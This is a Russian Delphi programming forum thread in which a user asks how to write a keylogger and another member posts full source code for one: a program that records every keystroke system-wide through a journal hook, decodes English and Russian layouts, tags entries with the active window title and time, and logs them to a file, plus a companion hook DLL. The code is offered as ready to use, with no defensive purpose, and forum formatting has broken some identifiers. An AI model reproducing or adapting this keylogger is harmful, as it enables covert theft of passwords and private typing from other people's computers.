Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 21.10.2008, 18:03   #1
Акашаев Нурлан
Пользователь
 
Регистрация: 02.05.2007
Сообщений: 53
По умолчанию кейлоггер

Хочу написать кейлоггер. Вопрос: как получить код НАЖАТОЙ в ДАННЫЙ МОМЕНТ ВРЕМЕНИ кнопки? Если я неправильно рассуждаю, исправьте меня пожалуйста!
Акашаев Нурлан вне форума Ответить с цитированием
Старый 21.10.2008, 19:00   #2
Стелс
Я с вами :-)
Форумчанин
 
Аватар для Стелс
 
Регистрация: 19.10.2008
Сообщений: 110
По умолчанию

вот тебе готовый примр на Дельфях, изучай

{$H+}
program xKeyLogger;
uses
Windows;
const
WinTitle='TestHook0.3';
{$EXTERNALSYM WM_DESTROY}
WM_DESTROY = $0002;
{$EXTERNALSYM WM_USER}
WM_USER = $0400;
var
Handle : HWND;
WinClass: TWndClass;
Msg: TMsg;
LangInt:integer;
OLDwnd , NEWwnd: string;
h : hhook;
LogFile: string;

function FookKB: Longint; external 'HooK.dll' name 'InstallHook';
function UnFookKB: Longint; external 'HooK.dll' name 'RemoveHook';

{
function WriteFile(hFile: THandle; const Buffer; nNumberOfBytesToWrite: DWORD;
var lpNumberOfBytesWritten: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;

GetModuleFileName(HInstance, Path, SizeOf(Path)))
}

function AnsiUpperCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;

function AnsiLowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;

function FileExists( const FileName : String ) : Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;

Function GetDateTime:string;
var
DT : TSystemTime;
Date,Time: array[0..32]of char;
begin
GetLocalTime(DT);
GetDateFormat(LOCALE_USER_DEFAULT,0 ,@DT,nil,Date,sizeOf(Date));
GetTimeFormat(LOCALE_USER_DEFAULT,0 ,@DT,nil,Time,sizeOf(Time));
Result:= date + ' | ' + time;
end;

procedure WriteToTxt(fname,text: string);
var
F: File;
buf: array[0..2500] of Char;
I : integer;
begin

AssignFile(F, fname);
If not FileExists(fname) then
Rewrite(f);

Reset(f,1);
Seek(F, system.filesize(F) );
for i:=1 to length(text) do buf[i-1]:=text[i];
BlockWrite(F, buf, length(text));
CloseFile(F);
end;


Function X_ScanKey(Key:AnsiString; {Êëàâèøà}
Lay:integer; {Ðàñêëàäêà êëàâèàòóðû}
Ch,sh:boolean {CH- Ñîñòîÿíèå ðåãèñòðà, SH - ñîñòîÿíèå Shift'a}
):string;
begin
result:=key;
key:= AnsiLowerCase(key);

if length(key)>1 then
begin
if key='space' then key:=' ' else
if key='enter' then key:=#13#10 else
Key:='{'+key+'}';
result:=key;
exit;
end;
٩(๏̯͡๏)۶٩(๏̯͡๏)۶٩(๏̯͡๏)۶ моя любимая книга - Окна for чайников . Кодить начал ещё вчера . ......кто там кодит ? Да не кто не кодит это я куякнулся
Стелс вне форума Ответить с цитированием
Старый 21.10.2008, 19:01   #3
Стелс
Я с вами :-)
Форумчанин
 
Аватар для Стелс
 
Регистрация: 19.10.2008
Сообщений: 110
По умолчанию

// Продолжение
if Lay = 1 then {English}
begin

if sh then begin
if key = '`' then key:= '~';
if key = '1' then key:= '!';
if key = '2' then key:= '@';
if key = '3' then key:='#';
if key = '4' then key:= '$';
if key = '5' then key:='%';
if key = '6' then key:='^';
if key = '7' then key:='&';
if key = '8' then key:='*';
if key = '9' then key:='(';
if key = '0' then key:=')';
if key = '-' then key:='_';
if key = '=' then key:='+';
if key = '[' then key:='{';
if key = ']' then key:='}';
if key = '\' then key:='|';
if key = ';' then key:=':';
if key = ''''then key:='"';
if key = ',' then key:='<';
if key = '.' then key:='>';
if key = '/' then key:='?';
end;

end else if Lay = 2 {RUSSIAN}
then
begin


if key = '/' then key:='.';
if key = '`' then key:='ё';
if key = 'q' then key:='й';
if key = 'w' then key:='ц';
if key = 'e' then key:='у';
if key = 'r' then key:='к';
if key = 't' then key:='е';
if key = 'y' then key:='н';
if key = 'u' then key:='г';
if key = 'i' then key:='ш';
if key = 'o' then key:='щ';
if key = 'p' then key:='з' ;
if key = '[' then key:='х';
if key = ']' then key:='ъ';
if key = 'a' then key:='ф';
if key = 's' then key:='ы';
if key = 'd' then key:= 'в';
if key = 'f' then key:= 'а';
if key = 'g' then key:= 'п';
if key = 'h' then key:= 'р';
if key = 'j' then key:= 'о';
if key = 'k' then key:= 'л';
if key = 'l' then key:= 'д';
if key = ';' then key:='ж';
if key = '''' then key:='э';
if key = 'z' then key:='я';
if key = 'x' then key:='ч';
if key = 'c' then key:='с';
if key = 'v' then key:='м';
if key = 'b' then key:='и';
if key = 'n' then key:='т';
if key = 'm' then key:='ь';
if key = ',' then key:='б';
if key = '.' then key:='ю';

if sh then begin
if key = '\' then key:='/';
if key = '1' then key:='!';
if key = '2' then key:='"';
if key = '3' then key:='№';
if key = '4' then key:=';';
if key = '5' then key:='%';
if key = '6' then key:=':';
if key = '7' then key:='?';
if key = '8' then key:='*';
if key = '9' then key:='(';
if key = '0' then key:=')';
if key = '-' then key:='_';
if key = '=' then key:='+';
if key = '.' then key:=',';
end;



end;

if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
end;

//function
Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;

function AC:string;
var
Handle:THandle;
Len:LongInt;
Title:string;
begin
Handle:=GetForegroundWindow;
Len:=GetWindowTextLength(Handle) + 1;
SetLength(Title,Len);
GetWindowText(Handle,PChar(Title),L en);
AC:=(Title);
end;

function IsCapsLockPressed:boolean;
var KeyState : TKeyboardState;

function State(Ctrl : Word) : boolean;
begin Result:=((KeyState[ctrl] and 1)=1); end;

begin
Result:=false;
if GetKeyboardState(KeyState)=False then exit;
Result:=State(vk_Capital);
end;

Function IsShiftPressed:boolean;
begin
if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
end;

function xLng(hHn:THandle):integer;
begin {1:English 2:Russian}
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;

var
c:array[0..255] of char;
nScan:integer;
iSuPPer:boolean;
begin

if ( (code>=0)and(teventmsg(pointer(lpar am)^).message=$0100) )
or ( (code>=0) and (teventmsg(pointer(lparam)^).messag e=$0104) )
then
begin
nScan:=hibyte((teventmsg(pointer(lp aram)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);

if (IsCapsLockPressed and IsShiftPressed) then iSuPPer:=False else
if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;

NEWwnd := AC;
if OLDwnd <> NEWwnd then
begin
OLDwnd := NEWwnd;
WriteToTxt(LogFile,'[ '+OLDwnd+' ] Time: ' + GetDateTime + #13#10);
end;

WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShift Pressed) );
end;
end;


function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;

function xLng(hHn:THandle):integer;
begin {1:English 2:Russian}
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;

begin

case Wmsg of


WM_USER+1, WM_USER+2:
begin
LangInt := xLng ( LOWORD( lParam ) ) ;

end;

WM_DESTROY:
begin
unhookwindowshookex(h);
UnFookKB;
ExitProcess(hnd);
end;

end;
Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;
٩(๏̯͡๏)۶٩(๏̯͡๏)۶٩(๏̯͡๏)۶ моя любимая книга - Окна for чайников . Кодить начал ещё вчера . ......кто там кодит ? Да не кто не кодит это я куякнулся
Стелс вне форума Ответить с цитированием
Старый 21.10.2008, 19:01   #4
Стелс
Я с вами :-)
Форумчанин
 
Аватар для Стелс
 
Регистрация: 19.10.2008
Сообщений: 110
По умолчанию

//Окончание

Procedure AppOn;
begin
with WinClass do
begin
lpszClassName:=WinTitle;
lpfnWndProc:=@WndProc;
cbClsExtra:=0;
cbWndExtra:=0;
hInstance:=hInstance;
style:=CS_HREDRAW+CS_VREDRAW+CS_DBL CLKS;
hbrBackground:=COLOR_WINDOW;
end;
RegisterClass(WinClass);
Handle:=CreateWindowEx(WS_EX_WINDOW EDGE, WinTitle, WinTitle, WS_VISIBLE or WS_MINIMIZEBOX or WS_CAPTION or WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 100, 63, 0, 0, hInstance, nil);
end;

begin
AppOn;
ShowWindow(Handle, SW_ShoW);
FookKB;
h:=setwindowshookex(WH_JOURNALRECOR D,@Proc,hinstance,0);
LogFile:= 'C:\xLog.txt';

while GetMessage(Msg, 0, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.


//*************А это его библиотека

library HooK;

uses
Windows;
var
Hk: HHook;
function Proc(nCode: Integer; wParam, lParam: Integer): Integer; stdcall;
function MainWnd: HWnd;
begin
Result := FindWindow( nil, 'TestHook0.3' );
end;

var K: HKL;
begin
if nCode >= 0 then
begin
case nCode of
HSHELL_WINDOWACTIVATED,
HSHELL_LANGUAGE:
begin
K:=GetKeyboardLayout(0);
SendMessage( MainWnd, $0400 + 2, wParam, k );

end;
end;
end;
Result := CallNextHookEx( Hk, nCode, wParam, lParam);
end;

procedure InstallHook;
begin
Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
end;

procedure RemoveHook;
begin
UnhookWindowsHookEx( Hk );
end;

exports InstallHook, RemoveHook;

begin
end.
٩(๏̯͡๏)۶٩(๏̯͡๏)۶٩(๏̯͡๏)۶ моя любимая книга - Окна for чайников . Кодить начал ещё вчера . ......кто там кодит ? Да не кто не кодит это я куякнулся
Стелс вне форума Ответить с цитированием
Старый 21.10.2008, 19:05   #5
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Цитата:
Сообщение от Акашаев Нурлан Посмотреть сообщение
Хочу написать кейлоггер. Вопрос: как получить код НАЖАТОЙ в ДАННЫЙ МОМЕНТ ВРЕМЕНИ кнопки? Если я неправильно рассуждаю, исправьте меня пожалуйста!
Вы ещё можете и тут глянуть примерчики, ведь это уже обсуждалось: http://programmersforum.ru/showthrea...ight=keylogger
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц